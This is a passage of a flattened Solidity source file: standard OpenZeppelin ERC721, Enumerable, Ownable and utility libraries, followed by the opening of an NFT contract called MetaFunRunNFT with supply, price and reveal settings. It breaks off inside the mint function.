// File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/MetaFunRunNFT.sol // Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721 pragma solidity ^0.8.0; contract MetaFunRunNFT is ERC721Enumerable, Ownable { using Strings for uint256; bool public _isSaleActive = false; bool public _revealed = false; uint256 public constant MAX_SUPPLY = 7777; uint256 public mintPrice = 0.077 ether; uint256 public maxBalance = 1; uint256 public maxMint = 1; string baseURI; string public notRevealedUri; string public baseExtension = ".json"; mapping(uint256 => string) private _tokenURIs; constructor(string memory initBaseURI, string memory initNotRevealedUri) ERC721("MetaFunRunNFT", "MFRN") { setBaseURI(initBaseURI); setNotRevealedURI(initNotRevealedUri); } function mintMeta(uint256 tokenQuantity) public payable { require( totalSupply() + tokenQuantity <= MAX_SUPPLY, "Sale would exceed max supply" ); 